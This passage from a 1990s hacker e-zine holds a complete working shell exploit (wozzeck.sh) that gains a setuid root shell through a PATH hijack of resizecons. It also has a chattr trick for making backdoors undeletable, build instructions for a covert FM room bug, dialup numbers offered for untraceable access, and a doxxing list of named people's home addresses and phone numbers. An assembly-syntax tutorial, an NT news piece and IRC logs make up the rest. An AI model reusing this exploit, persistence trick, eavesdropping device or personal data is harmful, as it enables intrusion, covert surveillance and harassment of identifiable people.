  839.                                         chown root.wheel $CUR $BACK
  840.                                 fi
  841.                         else
  842.                                 cp -p $file $CUR
  843.                                 chown root.wheel $CUR
  844.                         fi
  845.                 fi
  846.         done
  847. fi
  848.  
  849. ───────────────────────────────────────────────────────────────────────────────
  850.   4. Wozzeck.sh : Dave M.
  851. ───────────────────────────────────────────────────────────────────────────────
  852.  
  853. #!/bin/sh
  854. #
  855. # wozzeck.sh
  856. # exploits a security hole in /usr/bin/resizecons
  857. # to create a suid root shell in /tmp/wozz on a
  858. # linux Red Hat 2.1 system.
  859. #
  860. # by Dave M. (davem@cmu.edu) : CMU is for g1mps - so1o
  861. #
  862.  
  863. echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
  864. echo ================ Checking system vulnerability
  865. if test -u /usr/bin/resizecons
  866. then
  867. echo ++++++++++++++++ System appears vulnerable.
  868. cd /tmp
  869. cat << _EOF_ > /tmp/313x37
  870. This exploit is dedicated to
  871. Wozz.  Use it with care.
  872. _EOF_
  873. cat << _EOF_ > /tmp/restoretextmode
  874. #!/bin/sh
  875. /bin/cp /bin/sh /tmp/wozz
  876. /bin/chmod 4777 /tmp/wozz
  877. _EOF_
  878. /bin/chmod +x /tmp/restoretextmode
  879. PATH=/tmp
  880. echo ================ Executing resizecons
  881. /usr/bin/resizecons 313x37
  882. /bin/rm /tmp/restoretextmode
  883. /bin/rm /tmp/313x37
  884. if test -u /tmp/wozz
  885. then
  886. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
  887. else
  888. echo ---------------- Exploit failed
  889. fi
  890. else
  891. echo ---------------- This machine does not appear to be vulnerable.
  892. fi
  893.  
  894. ───────────────────────────────────────────────────────────────────────────────
  895.   5. Chattr tekneeq : xFli
  896. ───────────────────────────────────────────────────────────────────────────────
  897.  
  898. Heh, another short thing:
  899.  
  900. when you have made a .rhosts file on a machine, you can
  901. set filesystem attributes to make it undeletable :]
  902.  
  903. simple really, but only any use on linux (ext2fs) 
  904. and you have to be root to use chattr...
  905.  
  906.   bash# chattr +i <filename>
  907.  
  908. Now when anyone, even root tries to rm or change that file, he will
  909. get an 'override mode 644?' message and then permission
  910. denied . Of course, any admin who knows how to use chattr
  911. can simply chattr -i <filename>, although it might not
  912. be immediately apparent to them that this is all due
  913. to our friend chattr :] 
  914.  
  915. (NB. you might want to use this in conjunction with Shok's
  916.      trojan rm, incase someone finds out the trojan. It's also 
  917.      useful for any suid shell backdoors etc..use your
  918.      imagination!)
  919.  
  920.  
  921. Another thing chattr can provide is secure deletion, where
  922. the blocks on the disk used by the file are changed to 
  923. zero's and written back. So if you have any files of a 
  924. 'sensitive' nature on your machine, you can use chattr
  925. to ease your paranoia a little ...
  926.  
  927.   bash# chattr -R +s /dir
  928.  
  929. which will recursively add the secure deletion attrib to the files
  930. in /dir
  931.  
  932. Now you can be extra sure that the data really _is_ gone if the
  933. time comes to rm it ...
  934.  
  935. So all you admins, if you now realise why you cannot rm that suid shell
  936. or .rhosts file, try chattr -i <filename> ;)
  937.  
  938. Of course, you all know how 'man chattr' works so you know all this
  939. already :]
  940.  
  941. ───────────────────────────────────────────────────────────────────────────────
  942. ===============================================================================
  943. ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]==
  944. ===============================================================================
  945. ───────────────────────────────────────────────────────────────────────────────
  946.   1. 617 dialups : zer0x
  947. ───────────────────────────────────────────────────────────────────────────────
  948.  
  949. 617 Telnet Dialups
  950.  
  951. If your not in area code 617 this may not be very usefull to you, but then
  952. again for ultimate safety you could always use this from some telnet outdial
  953. or whatever. I will try to put something in for other area codes in later
  954. issues.
  955. hello kiddies. Sometimes if you want to connect somewhere, you don't want
  956. to go through a ppp, even if it isnt legit. Personally I think ppp's are
  957. good if they're from a big isp because theres less chance of you being
  958. monitored. Some very cool people offer telnet dialups, MIT is one of them.
  959. Instead of just having ones for students they have a public one.
  960. It is called "Terminus". When you dial any of the following Terminus
  961. dialups:
  962.  
  963.   (617) 258-7111
  964.   (617) 258-7115
  965.   (617) 258-7116
  966.   (617) 258-7126
  967.   (617) 258-7112
  968.  
  969. When you dial up it spits some shit at you:
  970.  
  971. "Welcome to the MIT Laboratory for Computer Science.
  972. You are connected to the dialup server: TERMINUS
  973. Report problems to Bug-Dialup@lcs.mit.edu
  974. Administrative questions should be directed to Dialup-Admin@lcs.mit.edu
  975. Contact Dialup-Users-Request@lcs.mit.edu for service info and updates.
  976. All users, especially guests, should get this info.
  977. Guests who use the LCS dialup servers and don't follow the guidelines are
  978. endangering the availability of dialup servers for all guests.
  979. Guest restrictions:     ON at 60%     OFF at 50%"
  980.  
  981. And then it pops up a little telnet prompt. 
  982.  
  983. "Terminus>"
  984.  
  985. Type ? for help, or just enter the host you want to connect to.
  986. For some hosts it now says "connection not permitted to this host".
  987. This may be because shell providers are tired of little kiddies
  988. like some of you connecting to hosts and rooting through it. .
  989. Also, sometimes for some odd reason you can't connect to some hosts.
  990. I suggest you use this in moderation. Who knows, maybe when some sysadmin
  991. will get especially pissed he will ask MIT to set up a line trace and get
  992. your #, or contact MIT and they will be forced to shut it down for ever.
  993. Or even if MIT gets pissed they may start monitoring all login sessions.
  994. So play nice, or mom my will take your dialup away.
  995.  
  996. ───────────────────────────────────────────────────────────────────────────────
  997.   2. FM radio bugs : xFli
  998. ───────────────────────────────────────────────────────────────────────────────
  999.  
  1000. OK, so1o has been asking for this for ages, not to mention other
  1001. people, so I finally got round to typing it up. Basically, this
  1002. is a fairly small FM transmitter, powered by two 3 volt lithium
  1003. cells. The only slight drawback is that it requires a 170cm 
  1004. antenna if you want to get decent range out of it. This isn't 
  1005. too much of a problem though, as it is fairly easy to hide a few
  1006. feet of wire...
  1007.  
  1008. As for performance you can expect a range of around 500m with a
  1009. good antenna. The actual output is around 10mv, which is fine for
  1010. our, <ahem> applications :)
  1011.  
  1012. If you don't know what a soldering iron is or can't read circuit
  1013. diagrams, it's probably not a good idea to attempt to make this, 
  1014. as it is fairly complicated for a beginner.
  1015.  
  1016.  Anyway, heres the parts list:
  1017.  
  1018. 1 - 470R 1/4 watt resistor
  1019. 1 - 22k   "   "      "
  1020. 1 - 47k   "   "      "
  1021. 1 - 100k  "   "      "
  1022. 1 - 1M    "   "      "
  1023.  
  1024. 1 - 5p6 ceramic capacitor
  1025. 1 - 27p   "        "
  1026. 1 - 47p   "        "
  1027. 1 - 1n    "        "
  1028. 2 - 22n   "        "
  1029. 1 - 100n monoblock (monolithic)
  1030.  
  1031. 2 - BC 547 transistors
  1032.  
  1033. 1 - electret mic insert (small == good :)
  1034.  
  1035. 2 - 3v Lithium cells
  1036.  
  1037. 1 - Single pole double throw (SPDT) mini slide switch
  1038.  
  1039. enamelled .5mm copper wire
  1040. hookup wire
  1041. shrinkwrap tubing
  1042.  
  1043. It is best to make a PCboard from the diagram supplied, 
  1044. as the positioning of the components is quite important.
  1045.  
  1046. You could also try using veroboard to make a similar
  1047. layout...
  1048.  
  1049. OK, most of this is fairly straightforward, but there are 
  1050. a few things you need to be careful with. 
  1051.  
  1052. You will need to make 2 coils with the enamelled wire.
  1053. To do this, use a match to burn the enamel off the wire
  1054. and clean off the black residue left over. 
  1055.  
  1056. You need something cylindrical and 2 mm in diameter as a
  1057. former for winding the coils. 
  1058.  
  1059. The first coil needs 8 turns of .5 mm wire, and the second
  1060. needs 5 turns. 
  1061.  
  1062. The second thing to remember is that the transistors _must_ 
  1063. be kept as close the the board as possible, so they dont 
  1064. stick up higher than any of the other components. The coils
  1065. should be touching the board as well. If you deviate from
  1066. the original layout a lot, there is a good chance the thing
  1067. will be very sensitive to enviromental changes, such as 
  1068. temperature or being touched. The project is not designed to
  1069. be carried around in use, although if a good casing was made
  1070. as opposed to shrinkwrap, it might become more stable. The 
  1071. ideal application is to have the transmitter taped under a
  1072. desk, with the arial running straight down the back.
  1073.  
  1074. If you are looking for good electret mic's, you can get
  1075. really good ones out of dead mobile's :)
  1076.  
  1077. You should also ensure you dont over heat components when
  1078. you are soldering, especially the transistors and the mic.
  1079.  
  1080. Right, so grab the diags and go build it :)
  1081.  
  1082. I'll leave the attachment of the two cells up to you, but I
  1083. _don't_ recommmend attempting to solder them :) The best
  1084. arrangement is to tape the two cells together with wires 
  1085. on the top and bottom as shown in my mad ascii art:
  1086.  
  1087.                 -----========== (+)
  1088.          [^^^^^^^^^^^^^^^^^^]
  1089.          \__________________/
  1090.          [^^^^^^^^^^^^^^^^^^]
  1091.          \__________________/
  1092.                 -----========== (-)          
  1093.  
  1094. OK, so you have built it, and you want to know how to use it...
  1095.  
  1096. The bug transmit's around the 88 - 108 FM range,  and can be
  1097. picked up with any FM radio. To adjust the frequency, squeeze
  1098. together the turns of the 5 turn coil (oscillator coil) to 
  1099. shift the frequency up the range, and seperate the turns to
  1100. move down the range. To test it, place it near a radio
  1101. and tune over the whole FM band, and at some point near the 
  1102. lower end, you should hear a feedback whistle. Adjust the coil
  1103. unti you get  a frequency that is good (i.e free) and then you 
  1104. are ready for action :) Its a good idea to shrinkwrap the
  1105. project, but make sure you dont mess up the coils when you 
  1106. shrink it. 
  1107.  
  1108. Thats all...
  1109.  
  1110. I will put plans for a much more elaborate and enhanced bug
  1111. in crh (with Voice Operated Transmit and surface mount
  1112. components for small size :) as soon as I can be fucked with 
  1113. typing it up...
  1114.  
  1115. ───────────────────────────────────────────────────────────────────────────────
  1116. ===============================================================================
  1117. ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]==
  1118. ===============================================================================
  1119. ───────────────────────────────────────────────────────────────────────────────
  1120.   1. AT&T and Intel assembly syntax.
  1121. ───────────────────────────────────────────────────────────────────────────────
  1122.  
  1123.                Difference Between AT&T and Intel Assembly Syntax
  1124.                -------------------------------------------------
  1125.                             By (--==+*~Shok~*+==--)
  1126.  
  1127. The difference
  1128. --------------
  1129.  
  1130. This document is more related to coding than hacking, although assembly is
  1131. a very useful programming language, as it's machine level and gives you
  1132. the most direct access to the CPU, hardware, etc. Now in unix, the
  1133. compilers like gcc use att syntax assembly and not intel. For example:
  1134.  
  1135. __asm__("movl %esp, %ebp"); 
  1136.  
  1137. Now this is unfortunate for DOS asm programmers who recently installed linux.
  1138. Asm they don't know att syntax (they are used to intel)..who are used to mov ebp, esp
  1139. from the above example.
  1140.  
  1141.     So I added this because I've very rarely (only one in fact, to be honest),
  1142. document that explained (yah, it wasn't even a tutorial or anything ;) the
  1143. differences, how to get used to it etc.  
  1144.  
  1145.     First off, I'd like to mention the only place I've seen any
  1146. documentation on it, which was the manual for gas (which is GNU
  1147. asm....gnu's assembler). 
  1148. You can get info on that at:
  1149. http://www.cs.utah.edu/csinfo/texinfo under "gas"
  1150.  
  1151. First let me give a few examples. 
  1152. Intel: push 4
  1153. att: pushl $4
  1154.  
  1155. All the immediate operands have a $ in front of them, in intel syntax, you
  1156. don't have prefix.
  1157.  
  1158. The register operands, have a % in front of them, intel has none.
  1159. Intel: mov eax, 4
  1160. att: movl $4, %eax
  1161.  
  1162. You notice there is a diff in intel/att's src/dst...
  1163. Intel: you do dst, src like mov ax, 2  
  1164. att: it's the opposite, src, dst like movl $2, %ax
  1165.  
  1166. You can use 'b' for byte, 'w' for word, 'l' for long, etc...as the memory
  1167. suffix:
  1168. movl, movb, movw etc....
  1169. in intel you wold do this like mov ax, byte ptr foo...
  1170.  
  1171. The far instruction for att is lret $stack-adjust, in intel it's 
  1172. ret far stack-adjust.
  1173.  
  1174. The l in front of mov, is the byte/memory operand..... this is actually
  1175. more convient if you ask me.
  1176.  
  1177. also in intel......you have
  1178. section:[base + index*scale + disp]
  1179.  
  1180. disp=displcement
  1181. scale=1 if not given
  1182.  
  1183. in att however, it's like this:
  1184. section:disp(base,index,scale)
  1185.  
  1186. so es:[ebp-5] in intel
  1187. would be
  1188. %es:-4(%ebp)
  1189. in att
  1190.  
  1191. Intel: [foo]  AT&T: foo(,1) the ,1 means an index of one...
  1192. Inte: [foor + eax*4] AT&T: foor(,%eax,4)
  1193.  
  1194. I hope this helps :)
  1195.  
  1196. How to Get some assembly examples in unix:
  1197. -----------------------------------------
  1198.      
  1199. Now how to get a few examples on how to get some assembly code
  1200. for unix......first of all you can do something like
  1201. this:
  1202.  
  1203. test.c:
  1204. void main()
  1205. {
  1206. printf("hi\n");
  1207. }
  1208.  
  1209. now to compile it, do gcc -S test.c, this will make a file test.s in
  1210. assembly......look at it it contains great info....and some examples of
  1211. the macros and what not defined/shown in gas' (GNU assembler) manual.
  1212. (Which can be found at http://www.cs.utah.edu/csinfo/texinfo, under gas.
  1213.  
  1214. here is what test.s will look like:
  1215.  
  1216.         .file   "test.c"
  1217.         .version        "01.01"
  1218. gcc2_compiled.:
  1219. .section        .rodata
  1220. .LC0:
  1221.         .string "test\n"
  1222. .text
  1223.         .align 4
  1224. .globl main
  1225.         .type    main,@function
  1226. main:
  1227.         pushl %ebp
  1228.         movl %esp,%ebp
  1229.         pushl $.LC0
  1230.         call printf
  1231.         addl $4,%esp
  1232. .L1:
  1233.         leave
  1234.         ret
  1235. .Lfe1:
  1236.         .size    main,.Lfe1-main
  1237.         .ident  "GCC: (GNU) 2.7.2.1"
  1238.  
  1239.  
  1240. As you know, the "l"'s in front of push,mov,add, etc....that means it's
  1241. type long.... and the % goes in front of all register operands, whereas in
  1242. intel syntax, it is undelimited. Likewise, the immediate operands, have a
  1243. $ in front of them, whereas once again, intel is undelimited.
  1244.  
  1245. movl $3, %eax 
  1246. is equal to:
  1247. mov eax, 3 
  1248. in intel
  1249.  
  1250. The other way to get asm code is with gdb......you compile your program
  1251. with gcc -g .......and for even more......gcc -g -a...
  1252. here is our test.c ......in gdb,
  1253. we do 'disassemble main':
  1254.  
  1255. (gdb) disassemble main
  1256. Dump of assembler code for function main:
  1257. 0x8048474 <main>:       pushl  %ebp
  1258. 0x8048475 <main+1>:     movl   %esp,%ebp
  1259. 0x8048477 <main+3>:     pushl  $0x80484c8
  1260. 0x804847c <main+8>:     call   0x8048378 <printf>
  1261. 0x8048481 <main+13>:    addl   $0x4,%esp
  1262. 0x8048484 <main+16>:    leave  
  1263. 0x8048485 <main+17>:    ret    
  1264. End of assembler dump.
  1265.  
  1266. That is with just -g.......with -a as well you can see the difference
  1267. (more instructions show up that usually wouldn't):
  1268.  
  1269. (gdb) disassemble main
  1270. Dump of assembler code for function main:
  1271. 0x80485d8 <main>:       pushl  %ebp
  1272. 0x80485d9 <main+1>:     movl   %esp,%ebp
  1273. 0x80485db <main+3>:     cmpl   $0x0,0x8049a6c
  1274. 0x80485e2 <main+10>:    jne    0x80485f1 <main+25>
  1275. 0x80485e4 <main+12>:    pushl  $0x8049a6c
  1276. 0x80485e9 <main+17>:    call   0x80488fc <__bb_init_func>
  1277. 0x80485ee <main+22>:    addl   $0x4,%esp
  1278. 0x80485f1 <main+25>:    incl   0x8049b78
  1279. 0x80485f7 <main+31>:    pushl  $0x8048978
  1280. 0x80485fc <main+36>:    call   0x8048468 <printf>
  1281. 0x8048601 <main+41>:    addl   $0x4,%esp
  1282. 0x8048604 <main+44>:    incl   0x8049b7c
  1283. 0x804860a <main+50>:    leave  
  1284. 0x804860b <main+51>:    ret    
  1285. End of assembler dump.
  1286.  
  1287. I of course need to give credit of this to the gas manual, as parts were
  1288. taken from there.
  1289.  
  1290. Well I hope you enjoyed that little introduction. Any corrections let me
  1291. know as shok@onlinex.net or shok@janova.org.
  1292.  
  1293.                                   Shok
  1294.                           (--==+*~Shok~*+==--)
  1295.  
  1296. ───────────────────────────────────────────────────────────────────────────────
  1297.   2. sIn inf0z : so1o
  1298. ───────────────────────────────────────────────────────────────────────────────
  1299.  
  1300.                     Fucking sIn b1tchez bow to the elite.
  1301.  
  1302. ───────────────────────────────────────────────────────────────────────────────
  1303.  
  1304.  Alias      :  Evil Chick
  1305.  Real Name  :  Suzette Kimminau
  1306.  Address    :  130 105th Ave. S.E. Apt. 218
  1307.                Bellevue, Wa 98004
  1308.                USA
  1309.  
  1310.  Telephone  :  (206)454-7176
  1311.  E-mail     :  evilchic@NWLINK.COM
  1312.  
  1313. -------------------------------------------------------------------------------
  1314.  
  1315.  Alias      :  \\StOrM\\
  1316.  Real Name  :  Jason Sloderbeck
  1317.  Address    :  5739 N Norton,
  1318.                Kansas City, MO 64119
  1319.                USA
  1320.  
  1321.  Telephone  :  (816)453-8722
  1322.  E-mail     :  storm@SINNERZ.COM
  1323.  
  1324. -------------------------------------------------------------------------------
  1325.  
  1326.  Alias      :  JDKane
  1327.  Real Name  :  Kim
  1328.  Address    :  327 E Park Road,
  1329.                Round Lake, IL 60073
  1330.                USA
  1331.  
  1332.  Telephone  :  (847)546-9154
  1333.  E-mail     :  
  1334.  
  1335. -------------------------------------------------------------------------------
  1336.  
  1337.  Alias      :  Soul Tear
  1338.  Real Name  :  Wesley Stroeber
  1339.  Address    :  10770 E. Silver Vein Dr.
  1340.                Tucson, Arizona 85710
  1341.                USA
  1342.  
  1343.  Telephone  :
  1344.  E-mail     :  soultear@mindspring.com
  1345.  
  1346. -------------------------------------------------------------------------------
  1347.  
  1348.  Alias      : Scud-O
  1349.  Real Name  : Kevin Shivers
  1350.  Address    : PO Box 448
  1351.               Sykesville, Maryland 21784
  1352.               USA
  1353.  
  1354.  Telephone  : (410)442-2410
  1355.  E-mail     : foxmulder@WORLDNET.ATT.NET
  1356.  
  1357. ───────────────────────────────────────────────────────────────────────────────
  1358.  
  1359.       You want to know how lame sIn really are? check www.sinnerz.com
  1360.  
  1361.              The Hax0r brothers don't 0wn a car between them.
  1362.  
  1363. ───────────────────────────────────────────────────────────────────────────────
  1364.   3. Wassup with NT?! : Crystalize
  1365. ───────────────────────────────────────────────────────────────────────────────
  1366.  
  1367. You know... take a lok around you next time you happen to be at the
  1368. news sites of places like underground.org, and l0pht.com.  What is it you're
  1369. seeing all around you?  Shit about NT, thats what.  Windows NT is claimed to
  1370. have critical system holes in it that would allow a hakcer complete access
  1371. to any Nt system on the net.
  1372.  
  1373. You might ask yourself what Microsoft is doing in reponse to the
  1374. what these computer security consultants (hackers with a salary) have said.
  1375. Absolutely nothing!  Thats right!  You heard it first from Crystalize.  Well,
  1376. maybe not first, but by God I told it anyway.  But, back to the story.
  1377.  
  1378. Microsoft was told of these security flaws in the NT system and went
  1379. straight to work to correct these little problems.  Of course, the plugs for
  1380. these hoes, however, will not be coming out until the NT 5.0 upgrade 
  1381. sometime around 1998!  Hackers are going to have a big field day with NT.
  1382.  
  1383. Although I've spent the first of this article totally trashing
  1384. Microsoft for not taking immediate action by coming out with a patch for NT,
  1385. you do have to give them a little credit.  They actually swallowed their
  1386. pride and came asking for help.  Who do you think they asked?  Thats right,
  1387. Microsoft came crawling to the community of hackers.  It goes against every
  1388. policy that Microsoft has, but, what the hell, lets face it... they needed
  1389. some help.
  1390.  
  1391. Anyway, they came to L0pht and asked for help.  Why did they come to
  1392. l0pht?  Because it was L0phtcrack 1.5 that decrypted NT user passwords and
  1393. sent them back in plain text (pretty slick, l0pht.)  Okay, about this
  1394. meeting.  Microsoft sends these NT experts to talk with security experts 
  1395. from the government and the hacking community.  I'm going to quote someone
  1396. real quick.  NT marketing director Carl Karanan said this,"We came here 
  1397. to look at the hacker's perspective - to understand what they're thinking
  1398. and what their concerns are.  Its good to look at things in perspective;
  1399. this conference does that."
  1400.  
  1401. He also said something kinda nice, "We've opened up a dialogue.  The
  1402. hackers do a service.  We're listening and learning."  No shit, he really
  1403. said that... a Microsoft exec saying they're learning from the hackers.
  1404.  
  1405. Ok, heres another quote, only this one's from a hacker.  "What
  1406. we're trying to do as a community is point out some very serious problems
  1407. in an operating system that is used in corporate America and in goverments
  1408. worldwide, and we're pointing it out in a legitmate manner saying 'Fix
  1409. This.'", said Yobie Benjamin, a knowledge officer and NT hacker.
  1410.  
  1411. Then Mudge got up to speak and gave a little presentation about
  1412. L0phts new NT password cracking program.  An impressive audience to, which
  1413. I hear included execs from Toyota, ESPN, the Defense Department and the NSA.
  1414. (WAY TO GO MUDGE!)
  1415.  
  1416. Anyway, if you want to know exactly what the program does, head to
  1417. L0phts site at www.l0pht.com/advisories.  And you know what?  This program
  1418. I'm told is extremely powerful.  Here's a little taste of what it does.
  1419. Mudge says that if the program is launched from a Unix or Pentium Pro 200
  1420. on a corporation of 40,000 users that managed all usernames and Lanman/NT
  1421. passwords from one PDC (primary domain controller), it would only take 40
  1422. hours to decrypt all 40,000 passwords and give them to ya in plain text.
  1423. (DAMN!)
  1424.  
  1425. I really like this quote from Mudge, too, "Windows NT's backward
  1426. compatability always bite 'em on the ass."  HAHAHAHAHA!
  1427.  
  1428. Anyway, thats all I've got to report on that little bit of news.
  1429. Thanks for readin and let me know if ya want me to report on any other
  1430. stuff.  Later.
  1431.  
  1432. - Crystalize
  1433.   @#w|h|p|v on EFNet
  1434.  
  1435. ───────────────────────────────────────────────────────────────────────────────
  1436.   4. More #hebrew : so1o
  1437. ───────────────────────────────────────────────────────────────────────────────
  1438.  
  1439. *** \\`a\\` (jack@ts1p2.rannet.com) has joined #hebrew
  1440. <\\`a\\`> shit!!
  1441. <RoBoGi> [\\`a\\`] The M@$TER IS HeRe !!!! BE CAREFUL!!!
  1442. <\\`a\\`> som1 nuked me!!!
  1443. *** \\`a\\` is now known as {Jupiter}
  1444. *** ^MAD^SAD^ has quit IRC (Broken pipe)
  1445. <{Jupiter}> mega!!
  1446. <{Jupiter}> how can one nuke me ..!!!
  1447. <{Jupiter}> meeeeeeeeeegggggggaaaaaaa
  1448. <MeGaMaN-> GREAT!!!!!!1
  1449. <MeGaMaN-> lens flare RULEEEEZZZZZ
  1450. <{Jupiter}> what greaT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  1451. <{Jupiter}> som1 nuke me!!
  1452. <{Jupiter}> and  , i restared my pc!!
  1453. <{Jupiter}> mega!!
  1454. <{Jupiter}> r u therE?!?!?
  1455. <{Jupiter}> man!!
  1456. <{Jupiter}> meeeeeeeeeeeeggggggggggggggggggggggggggaaaaaaaaaaaaaa
  1457. <MeGaMaN-> YES
  1458. <MeGaMaN-> yes
  1459. <MeGaMaN-> i was in photoshop
  1460. <{Jupiter}> where r u ?
  1461. <MeGaMaN-> i was in photoshop4
  1462. <{Jupiter}> ok..
  1463. <{Jupiter}> so , tell me 
  1464. <{Jupiter}> how did 1 nuke me?!
  1465. <MeGaMaN-> what hapend?
  1466. <{Jupiter}> so1 nuke me
  1467. <MeGaMaN-> ur computer FREEZED?
  1468. <{Jupiter}> noooooooo
  1469. <{Jupiter}> the comp. was blue
  1470. <MeGaMaN-> so install the winnuke fix!!
  1471. <{Jupiter}> winnuke fix?!
  1472. <MeGaMaN-> yes
  1473. <{Jupiter}> i mean , so1 nuke me , and bomb
  1474. <{Jupiter}> i am not in wi95
  1475. <{Jupiter}> bom 
  1476. <{Jupiter}> i am in a blue!!!
  1477. <{Jupiter}> worming!!
  1478. <MeGaMaN-> [{Jupiter} VERSION reply]: mIRC32 v5.0 K.Mardam-Bey
  1479. <MeGaMaN-> u r on win95
  1480. <{Jupiter}> yep!
  1481. <MeGaMaN-> my fix is already installed
  1482. <MeGaMaN-> and i dont have him
  1483. <MeGaMaN-> it
  1484. <{Jupiter}> ok..
  1485. <{Jupiter}> where r all the boTS?!
  1486.  
  1487. ───────────────────────────────────────────────────────────────────────────────
  1488.   5. Linking to /dev/zero : xFli
  1489. ───────────────────────────────────────────────────────────────────────────────
  1490.  
  1491. [Tremle_(tremle@163.164.162.19)] cna I have the exploit mate, please
  1492. [msg(tremle_)] not yetr!$#!@$
  1493. [Tremle_(tremle@163.164.162.19)] why mate?
  1494. [Tremle_(tremle@163.164.162.19)] pleeease
  1495. [Tremle_(tremle@163.164.162.19)] mate, please sendmial 8.8.5 remote
  1496. [Tremle_(tremle@163.164.162.19)] and I won;t ask for anything ever again
  1497. >>> Tremle_ [tremle@163.164.162.19] requested PING from xFli
  1498. [msg(tremle_)] ....
  1499. [Tremle_(tremle@163.164.162.19)] just this one time
  1500. <xFli> hoho, i think the ol ln -s /dev/zero 885.remote.c trick could be useful
  1501.           here
  1502. ∙φ∙ DCC SEND connection with tremle_[163.164.162.19, port 1061] established
  1503. <xFli> ∙φ∙ DCC SEND connection with tremle_[163.164.162.19, port 1061]
  1504.           established
  1505. [Tremle_(tremle@163.164.162.19)] is it remote?
  1506. [msg(tremle_)] YES
  1507. [Tremle_(tremle@163.164.162.19)] thansk mate
  1508. [msg(tremle_)] U better not bug me like this again
  1509. [Tremle_(tremle@163.164.162.19)] root shell? ;)
  1510. [Tremle_(tremle@163.164.162.19)] i won't
  1511. [Tremle_(tremle@163.164.162.19)] is it moving?
  1512. [msg(tremle)] so are u gonna give me something in return then?
  1513. [Tremle_(tremle@163.164.162.19)] :)
  1514. [Tremle_(tremle@163.164.162.19)] thankyou very much I relly appreciate
  1515. [Tremle_(tremle@163.164.162.19)] ok cary on with yer scripting
  1516. [msg(tremle_)] so are u gonna give me something in return then?
  1517. [Tremle_(tremle@163.164.162.19)] what you want?
  1518. [msg(tremle_)] something cool
  1519. [Tremle_(tremle@163.164.162.19)] how big is this btw?
  1520. [Tremle_(tremle@163.164.162.19)] uhm
  1521. [msg(tremle_)] its quite big, got a lot of shellcode in it, its actually quite
  1522.           a compliated sploit
  1523. [Tremle_(tremle@163.164.162.19)] what sorta thing you lookign for
  1524. [msg(tremle_)] just, well, anything
  1525. [Tremle_(tremle@163.164.162.19)] uhm
  1526. [msg(tremle_)] u got anything new?
  1527. [Tremle_(tremle@163.164.162.19)] I will hoepfully get soem on thursday
  1528. [Tremle_(tremle@163.164.162.19)] SunOS stuff
  1529. [msg(tremle_)] can't u gimme somethin now?
  1530. [Tremle_(tremle@163.164.162.19)] i shall have a look
  1531. [Tremle_(tremle@163.164.162.19)] tremle find's frantically
  1532. [msg(tremle_)] just anything cool...
  1533. [msg(tremle_)] u got any new bsd stuff?
  1534. [Tremle_(tremle@163.164.162.19)] I shall look
  1535. [Tremle_(tremle@163.164.162.19)] do they have to be remote?
  1536. [msg(tremle_)] naw, jus anything...
  1537. [Tremle_(tremle@163.164.162.19)] nope
  1538. [Tremle_(tremle@163.164.162.19)] this is taking a while, what size is it?
  1539. [msg(tremle_)] its about 400k
  1540. Tremle_(tremle@163.164.162.19)] k
  1541. [msg(tremle_)] ok, well, send me just well, do you have anything like eipscan
  1542.           2?
  1543. [Tremle_(tremle@163.164.162.19)] nope
  1544. [Tremle_(tremle@163.164.162.19)] uhm
  1545. [Tremle_(tremle@163.164.162.19)] so what would you prefer?
  1546. [msg(tremle_)] hmm...what bsd stuff do you have?
  1547. [Tremle_(tremle@163.164.162.19)] exploits.code or what?
  1548. [msg(tremle)] exploits...
  1549. [msg(tremle)] or some cool codez
  1550. [Tremle_(tremle@163.164.162.19)] rxvt exploit
  1551. [Tremle_(tremle@163.164.162.19)] rdist
  1552. [msg(tremle_)] rxvt for bsd?
  1553. [msg(tremle_)] send that
  1554. [Tremle_(tremle@163.164.162.19)] ok
  1555. [Tremle_(tremle@163.164.162.19)] wiat a sec
  1556. [Tremle_(tremle@163.164.162.19)] hmm, also slackware 3.0
  1557. [msg(tremle_)] just bsd
  1558. [msg(tremle_)] send bsd
  1559. ∙φ∙ DCC SEND (rxvt.txt) request from Tremle_[tremle@163.164.162.19
  1560.           [163.164.162.19:1097]]
  1561. ∙φ∙ Auto-getting file rxvt.txt from Tremle_
  1562. ∙φ∙ DCC GET connection with Tremle_[163.164.162.19, port 1097] established
  1563. ∙φ∙ DCC GET:rxvt.txt [2.269kb] from Tremle_ completed in 7 secs (0.3241
  1564.           kb/sec)
  1565. [msg(tremle_)] any other bsd stuff?
  1566. [Tremle_(tremle@163.164.162.19)] if it's old tell me
  1567. [Tremle_(tremle@163.164.162.19)] I have everything mixed up
  1568. [msg(tremle_)] whats the newest stuff you have?
  1569. [Tremle_(tremle@163.164.162.19)] wait a sec
  1570. [Tremle_(tremle@163.164.162.19)] procfs
  1571. [msg(tremle_)] i have that
  1572. [Tremle_(tremle@163.164.162.19)] screen
  1573. [msg(tremle_)] send that
  1574. [Tremle_(tremle@163.164.162.19)] ddb
  1575. msg(tremle_)] send that too
  1576. [Tremle_(tremle@163.164.162.19)] both?
  1577. [Tremle_(tremle@163.164.162.19)] wait a sec
  1578. [Tremle_(tremle@163.164.162.19)] dcc send xFLi
  1579. [Tremle_(tremle@163.164.162.19)] doh
  1580. [Tremle_(tremle@163.164.162.19)] I have put them in .html format, they were
  1581.           goan go on my webpage
  1582. [msg(tremle_)] s'ok, send em anywayz..
  1583. ∙φ∙ DCC SEND (ddbsd.html) request from Tremle_[tremle@163.164.162.19
  1584.           [163.164.162.19:1106]]
  1585. ∙φ∙ Auto-getting file ddbsd.html from Tremle_
  1586. ∙φ∙ DCC GET connection with Tremle_[163.164.162.19, port 1106] established
  1587. ∙φ∙ DCC GET:ddbsd.html [2.608kb] from Tremle_ completed in 17 secs (0.1534
  1588.           kb/sec)
  1589. [Tremle_(tremle@163.164.162.19)] how big is this?
  1590. [msg(tremle_)] should be nearly finished
  1591. [Tremle_(tremle@163.164.162.19)] k, what size is it?
  1592. [Tremle_(tremle@163.164.162.19)] how's the sploti work?
  1593. [msg(tremle_)] i thought it was like 400k but thatwas sommin else, its about
  1594.           950k i think
  1595. [Tremle_(tremle@163.164.162.19)] mm
  1596. [Tremle_(tremle@163.164.162.19)] sure you just haven;t renamed a file 885rem.c
  1597.           ?
  1598. [msg(tremle_)] like i said, its pretty complicated
  1599. <xFli> [Tremle_(tremle@163.164.162.19)] sure you just haven;t renamed a file
  1600.           885rem.c
  1601. <xFli>           ?
  1602. <xFli> OH! hes nearly caught on!
  1603. [Tremle_(tremle@163.164.162.19)] k
